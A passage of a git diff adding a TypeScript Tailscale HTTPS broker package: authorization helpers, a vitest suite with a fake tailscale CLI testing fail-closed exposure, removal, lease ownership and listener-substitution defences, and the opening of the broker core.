+    throw new AuthorizationError("unauthorized_peer", `gid ${peer.gid} not allowlisted`);
+  }
+}
+
+/** Generate an unguessable lease handle (256 bits, url-safe). */
+export function generateLeaseHandle(): string {
+  return randomBytes(32).toString("base64url");
+}
+
+/** Constant-time handle comparison to avoid timing oracles. */
+export function handlesEqual(a: string, b: string): boolean {
+  const ab = Buffer.from(a, "utf8");
+  const bb = Buffer.from(b, "utf8");
+  if (ab.byteLength !== bb.byteLength) return false;
+  return timingSafeEqual(ab, bb);
+}
+
+/**
+ * Resolve the lease a `remove` request is authorized to act on. Requires an
+ * exact handle match AND that the requesting peer + runtime UUID match the
+ * lease bound at expose time. Runtime A can never remove runtime B's listener.
+ */
+export function authorizeRemoval(
+  leases: readonly LeaseRecord[],
+  request: { runtimeId: string; handle: string },
+  peer: PeerCredentials,
+): LeaseRecord {
+  const lease = leases.find((entry) => handlesEqual(entry.handle, request.handle));
+  if (!lease) {
+    throw new AuthorizationError("invalid_handle", "unknown or stale lease handle");
+  }
+  if (lease.runtimeId !== request.runtimeId) {
+    throw new AuthorizationError("listener_ownership_mismatch", "runtime id does not match lease");
+  }
+  if (lease.peerUid !== peer.uid || lease.peerGid !== peer.gid) {
+    throw new AuthorizationError("listener_ownership_mismatch", "peer identity does not match lease");
+  }
+  return lease;
+}
diff --git a/packages/tailscale-https-broker/src/broker-core.test.ts b/packages/tailscale-https-broker/src/broker-core.test.ts
new file mode 100644
index 00000000000..11dbe4a8874
--- /dev/null
+++ b/packages/tailscale-https-broker/src/broker-core.test.ts
@@ -0,0 +1,593 @@
+import { mkdtempSync, readFileSync } from "node:fs";
+import { tmpdir } from "node:os";
+import { join } from "node:path";
+import { afterEach, beforeEach, describe, expect, it } from "vitest";
+import { MemoryAuditSink } from "./audit.js";
+import { BrokerCore, type CliResult, type ListenerOwnership } from "./broker-core.js";
+import { defaultIsAllowedPort } from "./port-policy.js";
+import type { BrokerRequest, PeerCredentials } from "./types.js";
+
+const HOST = "paperclip-dev.tail29c1aa.ts.net";
+const BIN = "/usr/bin/tailscale";
+const RUNTIME_A = "2af79bb1-ecc5-4410-8438-091be135a921";
+const RUNTIME_B = "3108ef8e-5ed0-41d9-b561-6b41c41b8545";
+const PEER: PeerCredentials = { uid: 999, gid: 987, pid: 4242 };
+
+/** In-memory tailscale serve fake driven by exact argv vectors. */
+class FakeTailscale {
+  ports = new Map<number, string>([[443, "http://127.0.0.1:3100"]]);
+  failExposePort: number | null = null;
+  failRemove = false;
+  sideEffectOnExpose: number | null = null;
+  retargetPrimaryOnExpose = false;
+  exposeCalls = 0;
+  removeCalls = 0;
+  statusCalls = 0;
+
+  run = (argv: string[]): CliResult => {
+    const [, sub, a2, a3] = argv;
+    if (sub === "serve" && a2 === "status") {
+      this.statusCalls += 1;
+      return { code: 0, stdout: this.statusJson(), stderr: "", timedOut: false };
+    }
+    if (sub === "serve" && a2 === "--bg") {
+      this.exposeCalls += 1;
+      const port = Number(a3.replace("--https=", ""));
+      if (this.failExposePort === port) return { code: 1, stdout: "", stderr: "boom", timedOut: false };
+      this.ports.set(port, `http://127.0.0.1:${port}`);
+      if (this.sideEffectOnExpose) this.ports.set(this.sideEffectOnExpose, `http://127.0.0.1:${this.sideEffectOnExpose}`);
+      if (this.retargetPrimaryOnExpose) this.ports.set(443, "http://127.0.0.1:9999");
+      return { code: 0, stdout: "", stderr: "", timedOut: false };
+    }
+    if (sub === "serve" && a2.startsWith("--https=") && a3 === "off") {
+      this.removeCalls += 1;
+      if (this.failRemove) return { code: 1, stdout: "", stderr: "no", timedOut: false };
+      this.ports.delete(Number(a2.replace("--https=", "")));
+      return { code: 0, stdout: "", stderr: "", timedOut: false };
+    }
+    return { code: 2, stdout: "", stderr: "unknown", timedOut: false };
+  };
+
+  private statusJson(): string {
+    const TCP: Record<string, unknown> = {};
+    const Web: Record<string, unknown> = {};
+    for (const [port, proxy] of this.ports) {
+      TCP[String(port)] = { HTTPS: true };
+      Web[`${HOST}:${port}`] = { Handlers: { "/": { Proxy: proxy } } };
+    }
+    return JSON.stringify({ TCP, Web });
+  }
+}
+
+function makeCore(
+  fake: FakeTailscale,
+  registryPath: string,
+  ownership: (port: number) => ListenerOwnership = () => ({
+    present: true,
+    loopbackOnly: true,
+    ownerUidMatches: true,
+    inodes: ["5001"],
+  }),
+  nowIso: () => string = () => "2026-08-11T00:00:00.000Z",
+) {
+  const audit = new MemoryAuditSink();
+  const core = new BrokerCore({
+    tailscaleBinPath: BIN,
+    registryPath,
+    auditSink: audit,
+    peerPolicy: { allowedUids: new Set([999]), allowedGids: new Set([987]) },
+    nodeIdentity: "node-1",
+    isAllowedPort: defaultIsAllowedPort,
+    deps: {
+      runTailscale: fake.run,
+      verifyListenerOwnership: ownership,
+      nowIso,
+    },
+  });
+  return { core, audit };
+}
+
+const reserveReq = (runtimeId = RUNTIME_A, port = 42010): BrokerRequest => ({
+  op: "reserve",
+  requestId: "req-e",
+  runtimeId,
+  listeners: [{ purpose: "app", port }],
+});
+
+async function reserveAndExpose(core: BrokerCore, runtimeId = RUNTIME_A, port = 42010, peer = PEER) {
+  const reserved = await core.handle(reserveReq(runtimeId, port), peer);
+  if (!reserved.ok || reserved.op !== "reserve") throw new Error("reserve failed");
+  return await core.handle({
+    op: "expose",
+    requestId: "req-x",
+    runtimeId,
+    handle: reserved.handle,
+  }, peer);
+}
+
+let dir: string;
+let registryPath: string;
+beforeEach(() => {
+  dir = mkdtempSync(join(tmpdir(), "broker-test-"));
+  registryPath = join(dir, "registry.json");
+});
+afterEach(() => {
+  // tmp dir is left for the OS to reap; tests use unique dirs.
+});
+
+describe("expose", () => {
+  it("reserves before bind, then exposes a same-number loopback listener and persists a lease", async () => {
+    const fake = new FakeTailscale();
+    const { core } = makeCore(fake, registryPath);
+    const reserved = await core.handle(reserveReq(), PEER);
+    expect(reserved.ok).toBe(true);
+    expect(fake.ports.has(42010)).toBe(false);
+    const beforeList = await core.handle({ op: "list", requestId: "before-list" }, PEER);
+    expect(beforeList).toMatchObject({ ok: true, listeners: [] });
+    if (!reserved.ok || reserved.op !== "reserve") throw new Error("expected reserve ok");
+    const res = await core.handle({ op: "expose", requestId: "req-x", runtimeId: RUNTIME_A, handle: reserved.handle }, PEER);
+    expect(res.ok).toBe(true);
+    if (!res.ok || res.op !== "expose") throw new Error("expected expose ok");
+    expect(res.publicPorts).toEqual([42010]);
+    expect(res.handle).toMatch(/^[A-Za-z0-9_-]{16,}$/);
+    expect(fake.ports.get(42010)).toBe("http://127.0.0.1:42010");
+    const registry = JSON.parse(readFileSync(registryPath, "utf8"));
+    expect(registry.leases[0].ports).toEqual([42010]);
+    expect(registry.leases[0].state).toBe("exposed");
+    // Handle is persisted server-side but never appears in list output.
+  });
+
+  it("is idempotent: re-exposing the same port does not double-apply", async () => {
+    const fake = new FakeTailscale();
+    const { core } = makeCore(fake, registryPath);
+    const firstReservation = await core.handle(reserveReq(), PEER);
+    if (!firstReservation.ok || firstReservation.op !== "reserve") throw new Error("reserve failed");
+    await core.handle({ op: "expose", requestId: "first", runtimeId: RUNTIME_A, handle: firstReservation.handle }, PEER);
+    const before = fake.exposeCalls;
+    const repeatedReservation = await core.handle(reserveReq(), PEER);
+    expect(repeatedReservation).toMatchObject({ ok: true, handle: firstReservation.handle });
+    const res = await core.handle({ op: "expose", requestId: "second", runtimeId: RUNTIME_A, handle: firstReservation.handle }, PEER);
+    expect(res.ok).toBe(true);
+    expect(fake.exposeCalls).toBe(before); // no additional CLI mutation
+  });
+
+  it("rejects and releases an expired reservation before any Serve mutation", async () => {
+    const fake = new FakeTailscale();
+    let now = "2026-08-11T00:00:00.000Z";
+    const { core } = makeCore(fake, registryPath, undefined, () => now);
+    const reserved = await core.handle(reserveReq(), PEER);
+    if (!reserved.ok || reserved.op !== "reserve") throw new Error("reserve failed");
+    now = "2026-08-11T00:06:00.000Z";
+    const result = await core.handle({
+      op: "expose",
+      requestId: "expired",
+      runtimeId: RUNTIME_A,
+      handle: reserved.handle,
+    }, PEER);
+    expect(result).toMatchObject({ ok: false, code: "reservation_expired" });
+    expect(fake.exposeCalls).toBe(0);
+    expect(JSON.parse(readFileSync(registryPath, "utf8")).leases).toEqual([]);
+  });
+
+  it("rejects an unauthorized peer without mutating serve", async () => {
+    const fake = new FakeTailscale();
+    const { core } = makeCore(fake, registryPath);
+    const res = await core.handle(reserveReq(), { uid: 1000, gid: 987, pid: 1 });
+    expect(res.ok).toBe(false);
+    if (res.ok) throw new Error("unreachable");
+    expect(res.code).toBe("unauthorized_peer");
+    expect(fake.ports.has(42010)).toBe(false);
+  });
+
+  it("rejects a port outside the dedicated allowlist", async () => {
+    const fake = new FakeTailscale();
+    const { core } = makeCore(fake, registryPath);
+    const res = await core.handle(reserveReq(RUNTIME_A, 8080), PEER);
+    expect(res.ok).toBe(false);
+    if (!res.ok) expect(res.code).toBe("port_not_allowlisted");
+  });
+
+  it("names which listener predicate failed, and every one of them still denies (SSRF guard)", async () => {
+    // One code per predicate, so a denial is attributable from the client reply
+    // alone: `safeMessage()` returns the bare code and the discriminating reason
+    // reaches only the root-owned audit file, which the calling account cannot
+    // read. Distinguishing them relaxes nothing — all three deny below.
+    for (const { ownership, code } of [
+      { ownership: { present: false, loopbackOnly: true, ownerUidMatches: true, inodes: [] }, code: "listener_absent" },
+      { ownership: { present: true, loopbackOnly: false, ownerUidMatches: true, inodes: ["5001"] }, code: "listener_not_loopback" },
+      { ownership: { present: true, loopbackOnly: true, ownerUidMatches: false, inodes: ["5001"] }, code: "listener_ownership_mismatch" },
+    ]) {
+      const fake = new FakeTailscale();
+      const { core, audit } = makeCore(fake, registryPath, () => ownership);
+      const res = await reserveAndExpose(core);
+      expect(res.ok).toBe(false);
+      if (!res.ok) expect(res.code).toBe(code);
+
+      // Fail-closed: the denial precedes every Serve read and mutation, so the
+      // requested port is never published and the primary route is untouched.
+      expect(fake.exposeCalls).toBe(0);
+      expect(fake.removeCalls).toBe(0);
+      expect([...fake.ports]).toEqual([[443, "http://127.0.0.1:3100"]]);
+
+      // The discriminating detail must still reach the audit trail.
+      const denial = audit.events.find((event) => event.decision === "deny");
+      expect(denial?.reasonCode).toBe(code);
+      expect(denial?.op).toBe("expose");
+    }
+  });
+
+  it("denies a listener that is present and correctly owned but cannot be named", async () => {
+    // Present-but-unattributable is not permission. Without a socket identity
+    // the broker cannot prove the socket it publishes is the socket it verified,
+    // so it must refuse rather than fall through to "the predicates passed".
+    const fake = new FakeTailscale();
+    const { core, audit } = makeCore(fake, registryPath, () => ({
+      present: true,
+      loopbackOnly: true,
+      ownerUidMatches: true,
+      inodes: [],
+    }));
+    const res = await reserveAndExpose(core);
+    expect(res.ok).toBe(false);
+    if (!res.ok) expect(res.code).toBe("listener_unattributable");
+    expect(fake.exposeCalls).toBe(0);
+    expect([...fake.ports]).toEqual([[443, "http://127.0.0.1:3100"]]);
+    expect(audit.events.find((event) => event.decision === "deny")?.reasonCode).toBe(
+      "listener_unattributable",
+    );
+  });
+
+  it("denies before publishing when the listener is substituted during the Serve status read", async () => {
+    // The window Greptile found: pre-flight verifies the listener, then
+    // `readServe()` runs a `tailscale` subprocess. A process under the same
+    // managed-runtime UID can close the verified socket and take the port during
+    // that subprocess. The three boolean predicates cannot see it — the new
+    // process satisfies all of them — so only the socket identity changes.
+    // Publishing then maps tailnet HTTPS at a service that was never authorized.
+    const fake = new FakeTailscale();
+    // Armed relative to the start of expose, because reserve already reads Serve
+    // status once. The swap therefore lands on expose's own status subprocess —
+    // after its pre-flight verification, before it publishes anything.
+    let statusReadsBeforeExpose = 0;
+    const { core, audit } = makeCore(fake, registryPath, () => ({
+      present: true,
+      loopbackOnly: true,
+      ownerUidMatches: true,
+      inodes: [fake.statusCalls > statusReadsBeforeExpose ? "9999" : "5001"],
+    }));
+
+    const reserved = await core.handle(reserveReq(), PEER);
+    if (!reserved.ok || reserved.op !== "reserve") throw new Error("reserve failed");
+    statusReadsBeforeExpose = fake.statusCalls;
+
+    const res = await core.handle(
+      { op: "expose", requestId: "req-sub", runtimeId: RUNTIME_A, handle: reserved.handle },
+      PEER,
+    );
+    expect(res.ok).toBe(false);
+    if (!res.ok) expect(res.code).toBe("listener_substituted");
+
+    // Fail closed *before* the mutation: the substituted service is never
+    // published, so only the pre-existing primary route remains.
+    expect(fake.exposeCalls).toBe(0);
+    expect([...fake.ports]).toEqual([[443, "http://127.0.0.1:3100"]]);
+    expect(audit.events.find((event) => event.decision === "deny")?.reasonCode).toBe(
+      "listener_substituted",
+    );
+  });
+
+  it("withdraws the mapping when substitution happens after the port is published", async () => {
+    // If the swap lands after the mutation instead, the post-publication re-proof
+    // denies inside the try, so compensation removes what was applied rather
+    // than leaving a substituted service reachable over HTTPS.
+    const fake = new FakeTailscale();
+    const { core } = makeCore(fake, registryPath, () => ({
+      present: true,
+      loopbackOnly: true,
+      ownerUidMatches: true,
+      inodes: [fake.exposeCalls >= 1 ? "9999" : "5001"],
+    }));
+
+    const res = await reserveAndExpose(core);
+    expect(res.ok).toBe(false);
+    if (!res.ok) expect(res.code).toBe("listener_substituted");
+
+    // The port was published, then withdrawn by compensation.
+    expect(fake.exposeCalls).toBeGreaterThan(0);
+    expect(fake.removeCalls).toBeGreaterThan(0);
+    expect([...fake.ports]).toEqual([[443, "http://127.0.0.1:3100"]]);
+  });
+
+  it("withdraws an idempotently-skipped mapping whose listener was substituted", async () => {
+    // The gap a skipped mapping opens: on a re-expose the port already carries
+    // our exact same-number entry, so the apply loop skips it and it never
+    // enters `appliedPorts`. Denying alone would leave that pre-existing mapping
+    // active and now pointing at the replacement service, so a rejected request
+    // would still publish something unauthorized.
+    const fake = new FakeTailscale();
+    // Swap armed relative to the start of the *second* expose, so it lands after
+    // that request's pre-flight verification — the same window as before, but on
+    // a port the apply loop will skip instead of publish.
+    let statusReadsBeforeReExpose = Number.POSITIVE_INFINITY;
+    const { core } = makeCore(fake, registryPath, () => ({
+      present: true,
+      loopbackOnly: true,
+      ownerUidMatches: true,
+      inodes: [fake.statusCalls > statusReadsBeforeReExpose ? "9999" : "5001"],
+    }));
+
+    // First expose publishes the port for real.
+    const first = await reserveAndExpose(core);
+    expect(first.ok).toBe(true);
+    expect(fake.ports.get(42010)).toBe("http://127.0.0.1:42010");
+    const exposeCallsAfterFirst = fake.exposeCalls;
+
+    // Re-expose the same port. The mapping already matches, so the apply loop
+    // takes the idempotent path and publishes nothing.
+    const reserved = await core.handle(reserveReq(), PEER);
+    if (!reserved.ok || reserved.op !== "reserve") throw new Error("reserve failed");
+    statusReadsBeforeReExpose = fake.statusCalls;
+
+    const second = await core.handle(
+      { op: "expose", requestId: "req-again", runtimeId: RUNTIME_A, handle: reserved.handle },
+      PEER,
+    );
+    expect(second.ok).toBe(false);
+    if (!second.ok) expect(second.code).toBe("listener_substituted");
+    expect(fake.exposeCalls).toBe(exposeCallsAfterFirst); // nothing re-published
+
+    // The substituted mapping must not survive the rejected request.
+    expect(fake.removeCalls).toBeGreaterThan(0);
+    expect(fake.ports.has(42010)).toBe(false);
+    expect([...fake.ports]).toEqual([[443, "http://127.0.0.1:3100"]]);
+  });
+
+  it("still withdraws a substituted idempotent mapping when a reserved lease published nothing", async () => {
+    // A `reserved` lease has published nothing, so a substitution detected on it
+    // must deny without withdrawing anything: there is no mapping of ours to
+    // remove, and removing by port number would delete someone else's.
+    const fake = new FakeTailscale();
+    let statusReadsBeforeExpose = Number.POSITIVE_INFINITY;
+    const { core } = makeCore(fake, registryPath, () => ({
+      present: true,
+      loopbackOnly: true,
+      ownerUidMatches: true,
+      inodes: [fake.statusCalls > statusReadsBeforeExpose ? "9999" : "5001"],
+    }));
+
+    const reserved = await core.handle(reserveReq(), PEER);
+    if (!reserved.ok || reserved.op !== "reserve") throw new Error("reserve failed");
+    statusReadsBeforeExpose = fake.statusCalls;
+
+    const res = await core.handle(
+      { op: "expose", requestId: "req-res", runtimeId: RUNTIME_A, handle: reserved.handle },
+      PEER,
+    );
+    expect(res.ok).toBe(false);
+    if (!res.ok) expect(res.code).toBe("listener_substituted");
+    // Nothing of ours was published, so nothing is published now.
+    expect([...fake.ports]).toEqual([[443, "http://127.0.0.1:3100"]]);
+  });
+
+  it("withdraws a substituted idempotent mapping without depending on a readable Serve status", async () => {
+    // The withdrawal decision must not hinge on a live status read. If it did, a
+    // status read that fails at exactly the wrong moment would make the broker
+    // return `listener_substituted` while leaving the replacement service
+    // exposed. Provenance comes from the `exposed` lease instead, so the remove
+    // is still issued.
+    const fake = new FakeTailscale();
+    let statusReadsBeforeReExpose = Number.POSITIVE_INFINITY;
+    const { core } = makeCore(fake, registryPath, () => ({
+      present: true,
+      loopbackOnly: true,
+      ownerUidMatches: true,
+      inodes: [fake.statusCalls > statusReadsBeforeReExpose ? "9999" : "5001"],
+    }));
+
+    const first = await reserveAndExpose(core);
+    expect(first.ok).toBe(true);
+    const removeCallsAfterFirst = fake.removeCalls;
+
+    const reserved = await core.handle(reserveReq(), PEER);
+    if (!reserved.ok || reserved.op !== "reserve") throw new Error("reserve failed");
+    statusReadsBeforeReExpose = fake.statusCalls;
+
+    const second = await core.handle(
+      { op: "expose", requestId: "req-noread", runtimeId: RUNTIME_A, handle: reserved.handle },
+      PEER,
+    );
+    expect(second.ok).toBe(false);
+    if (!second.ok) expect(second.code).toBe("listener_substituted");
+
+    // The remove was issued for the substituted port even though this request
+    // published nothing itself.
+    expect(fake.removeCalls).toBeGreaterThan(removeCallsAfterFirst);
+    expect(fake.ports.has(42010)).toBe(false);
+  });
+
+  it("withdraws a published mapping when the listener disappears entirely", async () => {
+    // Absent is not "unchanged". A closed listener leaves the mapping pointing at
+    // nothing, which a later process on that port would inherit, so it must be
+    // withdrawn like any other substitution.
+    const fake = new FakeTailscale();
+    const { core } = makeCore(fake, registryPath, () => ({
+      present: fake.exposeCalls === 0,
+      loopbackOnly: true,
+      ownerUidMatches: true,
+      inodes: fake.exposeCalls === 0 ? ["5001"] : [],
+    }));
+
+    const res = await reserveAndExpose(core);
+    expect(res.ok).toBe(false);
+    if (!res.ok) expect(res.code).toBe("listener_substituted");
+    expect(fake.removeCalls).toBeGreaterThan(0);
+    expect([...fake.ports]).toEqual([[443, "http://127.0.0.1:3100"]]);
+  });
+
+  it("denies an absent listener without consuming the reservation or touching Serve", async () => {
+    // A denial is pure: it neither publishes a mapping nor burns the lease. No
+    // production caller retries an exposure today (deliberately — a retry needs
+    // its own reproduced requirement and wiring); this pins the broker-side
+    // state purity that any such caller, or a plain operator re-run, relies on.
+    const fake = new FakeTailscale();
+    let bound = false;
+    const { core } = makeCore(fake, registryPath, () => ({
+      present: bound,
+      loopbackOnly: true,
+      ownerUidMatches: true,
+      inodes: bound ? ["5001"] : [],
+    }));
+    const reserved = await core.handle(reserveReq(), PEER);
+    if (!reserved.ok || reserved.op !== "reserve") throw new Error("reserve failed");
+
+    const denied = await core.handle(
+      { op: "expose", requestId: "req-x1", runtimeId: RUNTIME_A, handle: reserved.handle },
+      PEER,
+    );
+    expect(denied.ok).toBe(false);
+    if (!denied.ok) expect(denied.code).toBe("listener_absent");
+    expect(fake.exposeCalls).toBe(0);
+    expect(fake.ports.has(42010)).toBe(false);
+
+    // Once the child is actually bound, the very same reservation still exposes.
+    bound = true;
+    const exposed = await core.handle(
+      { op: "expose", requestId: "req-x2", runtimeId: RUNTIME_A, handle: reserved.handle },
+      PEER,
+    );
+    expect(exposed.ok).toBe(true);
+    expect(fake.ports.get(42010)).toBe("http://127.0.0.1:42010");
+  });
+
+  it("never touches a pre-existing manual mapping on the target port", async () => {
+    const fake = new FakeTailscale();
+    fake.ports.set(42010, "http://127.0.0.1:5432"); // manual/unrelated service
+    const { core } = makeCore(fake, registryPath);
+    const res = await core.handle(reserveReq(), PEER);
+    expect(res.ok).toBe(false);
+    if (!res.ok) expect(res.code).toBe("manual_mapping_present");
+    expect(fake.ports.get(42010)).toBe("http://127.0.0.1:5432"); // unchanged
+  });
+
+  it("fails closed and preserves :443 if a mutation retargets the primary route", async () => {
+    const fake = new FakeTailscale();
+    fake.retargetPrimaryOnExpose = true;
+    const { core } = makeCore(fake, registryPath);
+    const res = await reserveAndExpose(core);
+    expect(res.ok).toBe(false);
+    if (!res.ok) expect(res.code).toBe("primary_route_violation");
+  });
+
+  it("compensates and quarantines on an unexpected serve diff", async () => {
+    const fake = new FakeTailscale();
+    fake.sideEffectOnExpose = 42011; // an unexpected extra entry appears
+    fake.failRemove = true; // compensation cannot be proven -> quarantine
+    const { core } = makeCore(fake, registryPath);
+    const res = await reserveAndExpose(core);
+    expect(res.ok).toBe(false);
+    if (!res.ok) expect(res.code).toBe("unexpected_serve_diff");
+    const registry = JSON.parse(readFileSync(registryPath, "utf8"));
+    expect(registry.quarantinedPorts).toContain(42010);
+    // A later expose of the quarantined port is refused.
+    const fake2 = new FakeTailscale();
+    const { core: core2 } = makeCore(fake2, registryPath);
+    const res2 = await core2.handle(reserveReq(), PEER);
+    expect(res2.ok).toBe(false);
+    if (!res2.ok) expect(res2.code).toBe("quarantined");
+  });
+});
+
+describe("remove", () => {
+  async function exposeAndGetHandle(core: BrokerCore, port = 42010, runtime = RUNTIME_A) {
+    const res = await reserveAndExpose(core, runtime, port);
+    if (!res.ok || res.op !== "expose") throw new Error("expose failed");
+    return res.handle;
+  }
+
+  it("removes only the owned listener with an exact lease match", async () => {
+    const fake = new FakeTailscale();
+    const { core } = makeCore(fake, registryPath);
+    const handle = await exposeAndGetHandle(core);
+    const res = await core.handle(
+      { op: "remove", requestId: "req-r", runtimeId: RUNTIME_A, handle },
+      PEER,
+    );
+    expect(res.ok).toBe(true);
+    if (res.ok && res.op === "remove") expect(res.removedPorts).toEqual([42010]);
+    expect(fake.ports.has(42010)).toBe(false);
+    expect(fake.ports.get(443)).toBe("http://127.0.0.1:3100"); // primary intact
+  });
+
+  it("rejects a random handle and a cross-runtime removal", async () => {
+    const fake = new FakeTailscale();
+    const { core } = makeCore(fake, registryPath);
+    const handle = await exposeAndGetHandle(core);
+    const bad = await core.handle(
+      { op: "remove", requestId: "r", runtimeId: RUNTIME_A, handle: "random-handle-not-real-xxxx" },
+      PEER,
+    );
+    expect(bad.ok).toBe(false);
+    if (!bad.ok) expect(bad.code).toBe("invalid_handle");
+    const cross = await core.handle(
+      { op: "remove", requestId: "r", runtimeId: RUNTIME_B, handle },
+      PEER,
+    );
+    expect(cross.ok).toBe(false);
+    if (!cross.ok) expect(cross.code).toBe("listener_ownership_mismatch");
+    expect(fake.ports.has(42010)).toBe(true); // still there
+  });
+
+  it("releases an unexposed reservation without mutating Serve", async () => {
+    const fake = new FakeTailscale();
+    const { core } = makeCore(fake, registryPath);
+    const reserved = await core.handle(reserveReq(), PEER);
+    if (!reserved.ok || reserved.op !== "reserve") throw new Error("reserve failed");
+    const res = await core.handle(
+      { op: "remove", requestId: "req-r", runtimeId: RUNTIME_A, handle: reserved.handle },
+      PEER,
+    );
+    expect(res).toMatchObject({ ok: true, removedPorts: [] });
+    expect(fake.exposeCalls).toBe(0);
+    expect(fake.removeCalls).toBe(0);
+  });
+});
+
+describe("list", () => {
+  it("returns caller-owned ports and never lease handles", async () => {
+    const fake = new FakeTailscale();
+    const { core } = makeCore(fake, registryPath);
+    await reserveAndExpose(core);
+    const res = await core.handle({ op: "list", requestId: "req-l" }, PEER);
+    expect(res.ok).toBe(true);
+    if (res.ok && res.op === "list") {
+      expect(res.listeners).toEqual([{ runtimeId: RUNTIME_A, port: 42010, purpose: "app" }]);
+      expect(JSON.stringify(res)).not.toMatch(/handle/);
+    }
+  });
+});
+
+describe("node identity", () => {
+  it("quarantines when the persisted node identity no longer matches", async () => {
+    const fake = new FakeTailscale();
+    const { core } = makeCore(fake, registryPath);
+    await reserveAndExpose(core);
+    // Rebuild a core with a different node identity against the same registry.
+    const audit = new MemoryAuditSink();
+    const core2 = new BrokerCore({
+      tailscaleBinPath: BIN,
+      registryPath,
+      auditSink: audit,
+      peerPolicy: { allowedUids: new Set([999]), allowedGids: new Set([987]) },
+      nodeIdentity: "node-CHANGED",
+      isAllowedPort: defaultIsAllowedPort,
+      deps: {
+        runTailscale: fake.run,
+        verifyListenerOwnership: () => ({ present: true, loopbackOnly: true, ownerUidMatches: true, inodes: ["5001"] }),
+        nowIso: () => "2026-08-11T00:00:00.000Z",
+      },
+    });
+    const res = await core2.handle(reserveReq(RUNTIME_B, 42011), PEER);
+    expect(res.ok).toBe(false);
+    if (!res.ok) expect(res.code).toBe("quarantined");
+  });
+});
diff --git a/packages/tailscale-https-broker/src/broker-core.ts b/packages/tailscale-https-broker/src/broker-core.ts
new file mode 100644
index 00000000000..3353f998283
--- /dev/null
+++ b/packages/tailscale-https-broker/src/broker-core.ts
@@ -0,0 +1,827 @@
+/**
+ * Broker transaction core. One serialized, fail-closed transaction per
+ * mutation implements every PAP-17050 verdict requirement and invariant:
+ *
+ *   - Complete peer mediation + lease-handle ownership (req #1).
+ *   - Dedicated-range + immediately-before /proc listener-ownership check
+ *     defeats SSRF-equivalent publication of unrelated loopback services (#2).
+ *   - Read → strict-parse → verify absence-or-exact-lease-match → verify
+ *     protected :443 → one fixed per-port op → reread → require only the
+ *     intended entry changed and :443 identical → atomic registry commit; any
+ *     ambiguity quarantines and fails closed (#3).
+ *   - Argv-only, shell:false CLI via an injected runner (#4).
+ *   - Bounded, serialized mutation queue (#5).
+ *   - One audit event per allow/deny/outcome (#6).
+ */
+import {
+  AuthorizationError,
+  authorizePeer,
+  authorizeRemoval,
+  generateLeaseHandle,
+  type PeerPolicy,
+} from "./authorization.js";
+import { buildExposeArgv, buildRemoveArgv, buildStatusArgv } from "./argv.js";
+import type { AuditSink } from "./audit.js";
+import {
+  ParsedServe,
+  ServeParseError,
+  assertPrimaryIntact,
+  changedPorts,
+  changedProtectedPorts,
+  isSameNumberLoopbackEntry,
+  parseServeStatus,
+  primaryDigest,
+} from "./serve-config.js";
+import {
+  addLease,
+  isPortQuarantined,
+  loadRegistry,
+  nextGeneration,
+  pruneExpiredReservations,
+  quarantinePort,
+  removeLeaseByHandle,
+  saveRegistry,
+} from "./registry.js";
+import type {
+  BrokerRegistry,
+  BrokerRequest,
+  BrokerResponse,
+  PeerCredentials,
+} from "./types.js";
+
+const RESERVATION_TTL_MS = 5 * 60 * 1_000;
+
+/** Result of running a tailscale CLI command (argv, shell:false). */
+export interface CliResult {
+  code: number;
+  stdout: string;
+  stderr: string;
+  timedOut: boolean;
+}
+
+/**
+ * Immediately-before-mutation ownership facts about a loopback listener,
+ * derived from /proc (req #2). `loopbackOnly` must be true (reject wildcard,
+ * IPv6-wildcard, dual-stack off-loopback); `ownerUidMatches` binds the listener
+ * to the expected managed-runtime identity; `present` guards the swap race.
+ */
+export interface ListenerOwnership {
+  present: boolean;
+  loopbackOnly: boolean;
+  ownerUidMatches: boolean;
+  /**
+   * Socket inodes of the listening sockets on the port, sorted. This is the
+   * listener's *identity*, and it is required rather than optional: a caller
+   * that cannot name the socket must fail closed, not fall through to
+   * "permitted". `present: true` with an empty array is contradictory and is
+   * refused as `listener_unattributable`.
+   *
+   * The three booleans above only describe "something acceptable is on this
+   * port". They are re-read but cannot detect substitution, because a different
+   * process under the same managed-runtime UID satisfies all three. Comparing
+   * inode sets across the reserve/expose window is what proves the socket the
+   * broker verified is the socket it publishes.
+   */
+  inodes: string[];
+}
+
+export interface BrokerDeps {
+  runTailscale(argv: string[]): CliResult;
+  /** Inspect a loopback listener immediately before mutation (req #2). */
+  verifyListenerOwnership(port: number): ListenerOwnership;
+  nowIso(): string;
+}
+
+export interface BrokerCoreConfig {
+  tailscaleBinPath: string;
+  registryPath: string;
+  auditSink: AuditSink;
+  peerPolicy: PeerPolicy;
+  /** hostname + boot id; a change forces quarantine + operator reconciliation. */
+  nodeIdentity: string;
+  /** Deny-by-default port allowlist. Defaults to the dedicated runtime range. */
+  isAllowedPort(port: number): boolean;
+  /**
+   * Operator-declared ports that must never be created, removed, or reclaimed
+   * (PAP-17285). Outranks the broker's own ownership record: a protected port is
+   * denied even when a valid lease names it, which is exactly the case that
+   * destroyed `42000/52000`. Defaults to none.
+   */
+  protectedPorts?: readonly number[];
+  deps: BrokerDeps;
+}
+
+function denied(code: string, message: string): never {
+  const err = new Error(message) as Error & { brokerCode: string };
+  err.brokerCode = code;
+  throw err;
+}
+
+export class BrokerCore {
+  private queue: Promise<unknown> = Promise.resolve();
+
+  constructor(private readonly config: BrokerCoreConfig) {}
+
+  private get protectedPorts(): readonly number[] {
+    return this.config.protectedPorts ?? [];
+  }
+
+  /**
+   * Deny any request naming an operator-protected port, before anything reads or
+   * mutates Serve (PAP-17285). Deliberately checked ahead of the lease/ownership
+   * logic: the protection must hold *because* the operator declared it, not
+   * because the broker happens to lack a lease for the port.
+   */
+  private assertNoProtectedPort(ports: readonly number[]): void {
+    for (const port of ports) {
+      if (this.protectedPorts.includes(port)) {
+        denied("protected_port", `port ${port} is operator-protected and may not be mutated`);
+      }
+    }
+  }
+
+  /**
+   * Assert every protected entry is byte-identical across a mutation. Any change
+   * — including disappearance — fails closed. Callers must run this on the same
+   * `before`/`after` snapshots used for the primary-route check.
+   */
+  private assertProtectedIntact(before: ParsedServe, after: ParsedServe): void {
+    const changed = changedProtectedPorts(before, after, this.protectedPorts);
+    if (changed.length > 0) {
+      denied(
+        "protected_entry_violation",
+        `operator-protected entries changed during mutation: ${changed.join(",")}`,
+      );
+    }
+  }
+
+  /** Public entry point. Serializes all requests through one mutation queue. */
+  async handle(request: BrokerRequest, peer: PeerCredentials): Promise<BrokerResponse> {
+    const run = this.queue.then(() => this.dispatch(request, peer));
+    // Keep the chain alive even if this request rejects.
+    this.queue = run.catch(() => undefined);
+    return run;
